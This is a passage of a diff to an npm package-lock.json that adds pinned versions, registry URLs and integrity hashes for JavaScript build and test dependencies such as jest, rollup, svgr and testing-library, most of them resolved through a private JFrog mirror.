"sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@jest/schemas": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/schemas/-/schemas-28.1.3.tgz", + "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==", + "requires": { + "@sinclair/typebox": "^0.24.1" + } + }, + "@jest/source-map": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/source-map/-/source-map-27.5.1.tgz", + "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==", + "requires": { + "callsites": "^3.0.0", + "graceful-fs": "^4.2.9", + "source-map": "^0.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "@jest/test-result": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/test-result/-/test-result-27.5.1.tgz", + "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==", + "requires": { + "@jest/console": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + } + }, + "@jest/test-sequencer": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz", + "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==", + "requires": { + "@jest/test-result": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-runtime": "^27.5.1" + } + }, + "@jest/transform": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/transform/-/transform-27.5.1.tgz", + "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==", + "requires": { + "@babel/core": "^7.1.0", + "@jest/types": "^27.5.1", + "babel-plugin-istanbul": "^6.1.1", + "chalk": "^4.0.0", + "convert-source-map": "^1.4.0", + "fast-json-stable-stringify": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-util": "^27.5.1", + "micromatch": "^4.0.4", + "pirates": "^4.0.4", + "slash": "^3.0.0", + "source-map": "^0.6.1", + "write-file-atomic": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@jest/types": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "requires": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@jridgewell/gen-mapping": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz", + "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==", + "requires": { + "@jridgewell/set-array": "^1.2.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==" + }, + "@jridgewell/set-array": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==" + }, + "@jridgewell/source-map": { + "version": "0.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jridgewell/source-map/-/source-map-0.3.3.tgz", + "integrity": "sha512-b+fsZXeLYi9fEULmfBrhxn4IrPlINf8fiNarzTof004v3lFdntdwa9PF7vFJqm3mg7s+ScJMxXaE3Acp1irZcg==", + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "@jridgewell/trace-mapping": { + "version": "0.3.25", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", + "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "@leichtgewicht/ip-codec": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", + "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==" + }, + "@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "requires": { + "eslint-scope": "5.1.1" + }, + "dependencies": { + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + } + } + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==" + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.10.tgz", + "integrity": "sha512-j0Ya0hCFZPd4x40qLzbhGsh9TMtdb+CJQiso+WxLOPNasohq9cc5SNUcwsZaRH6++Xh91Xkm/xHCkuIiIu0LUA==", + "requires": { + "ansi-html-community": "^0.0.8", + "common-path-prefix": "^3.0.0", + "core-js-pure": "^3.23.3", + "error-stack-parser": "^2.0.6", + "find-up": "^5.0.0", + "html-entities": "^2.1.0", + "loader-utils": "^2.0.4", + "schema-utils": "^3.0.0", + "source-map": "^0.7.3" + } + }, + "@rollup/plugin-babel": { + "version": "5.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz", + "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==", + "requires": { + "@babel/helper-module-imports": "^7.10.4", + "@rollup/pluginutils": "^3.1.0" + } + }, + "@rollup/plugin-node-resolve": { + "version": "11.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz", + "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==", + "requires": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "builtin-modules": "^3.1.0", + "deepmerge": "^4.2.2", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + } + }, + "@rollup/plugin-replace": { + "version": "2.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz", + "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==", + "requires": { + "@rollup/pluginutils": "^3.1.0", + "magic-string": "^0.25.7" + } + }, + "@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "requires": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "dependencies": { + "@types/estree": { + "version": "0.0.39", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==" + } + } + }, + "@rushstack/eslint-patch": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rushstack/eslint-patch/-/eslint-patch-1.3.2.tgz", + "integrity": "sha512-V+MvGwaHH03hYhY+k6Ef/xKd6RYlc4q8WBx+2ANmipHJcKuktNcI/NgEsJgdSUF6Lw32njT6OnrRsKYCdgHjYw==" + }, + "@sinclair/typebox": { + "version": "0.24.51", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinclair/typebox/-/typebox-0.24.51.tgz", + "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==" + }, + "@sinonjs/commons": { + "version": "1.8.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinonjs/commons/-/commons-1.8.6.tgz", + "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==", + "requires": { + "type-detect": "4.0.8" + } + }, + "@sinonjs/fake-timers": { + "version": "8.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", + "requires": { + "@sinonjs/commons": "^1.7.0" + } + }, + "@surma/rollup-plugin-off-main-thread": { + "version": "2.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", + "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==", + "requires": { + "ejs": "^3.1.6", + "json5": "^2.2.0", + "magic-string": "^0.25.0", + "string.prototype.matchall": "^4.0.6" + } + }, + "@svgr/babel-plugin-add-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==" + }, + "@svgr/babel-plugin-remove-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==" + }, + "@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz", + "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==" + }, + "@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz", + "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==" + }, + "@svgr/babel-plugin-svg-dynamic-title": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz", + "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==" + }, + "@svgr/babel-plugin-svg-em-dimensions": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz", + "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==" + }, + "@svgr/babel-plugin-transform-react-native-svg": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz", + "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==" + }, + "@svgr/babel-plugin-transform-svg-component": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz", + "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==" + }, + "@svgr/babel-preset": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-preset/-/babel-preset-5.5.0.tgz", + "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==", + "requires": { + "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1", + "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0", + "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0", + "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0", + "@svgr/babel-plugin-transform-svg-component": "^5.5.0" + } + }, + "@svgr/core": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/core/-/core-5.5.0.tgz", + "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==", + "requires": { + "@svgr/plugin-jsx": "^5.5.0", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.0" + } + }, + "@svgr/hast-util-to-babel-ast": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz", + "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==", + "requires": { + "@babel/types": "^7.12.6" + } + }, + "@svgr/plugin-jsx": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz", + "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==", + "requires": { + "@babel/core": "^7.12.3", + "@svgr/babel-preset": "^5.5.0", + "@svgr/hast-util-to-babel-ast": "^5.5.0", + "svg-parser": "^2.0.2" + } + }, + "@svgr/plugin-svgo": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz", + "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==", + "requires": { + "cosmiconfig": "^7.0.0", + "deepmerge": "^4.2.2", + "svgo": "^1.2.2" + } + }, + "@svgr/webpack": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/webpack/-/webpack-5.5.0.tgz", + "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==", + "requires": { + "@babel/core": "^7.12.3", + "@babel/plugin-transform-react-constant-elements": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@svgr/core": "^5.5.0", + "@svgr/plugin-jsx": "^5.5.0", + "@svgr/plugin-svgo": "^5.5.0", + "loader-utils": "^2.0.0" + } + }, + "@testing-library/dom": { + "version": "9.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/dom/-/dom-9.3.1.tgz", + "integrity": "sha512-0DGPd9AR3+iDTjGoMpxIkAsUihHZ3Ai6CneU6bRRrffXMgzCdlNk43jTrD2/5LT6CBb3MWTP8v510JzYtahD2w==", + "peer": true, + "requires": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": 